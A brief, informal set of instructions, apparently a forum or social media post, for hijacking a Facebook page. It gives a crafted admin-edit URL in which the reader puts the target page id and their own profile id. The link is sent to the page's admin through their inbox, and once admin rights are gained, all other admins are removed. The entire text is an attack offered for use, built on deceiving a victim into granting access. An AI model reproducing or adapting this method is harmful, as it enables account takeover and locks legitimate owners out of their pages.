Follow Steps
1) Page Admin Must Be In Your Friend List
just give this link to victim
2) which you want to Hack
https://m.facebook.com/pages/ edit/
admins/342602542597873?
update_status=1&admin_
role=0&id=100005190426499&_rdr
Replace 342602542597873 with the page id
you want to Hack...
3) Replace the 100005190426499 id as your
profile id.
just send the link To Victim By His Inbox
Now you are the Admin of that page...
4) Now don't waste time suddenly open that
page and goto settings>>page rolls>>
remove all admins from the list Enjoy...!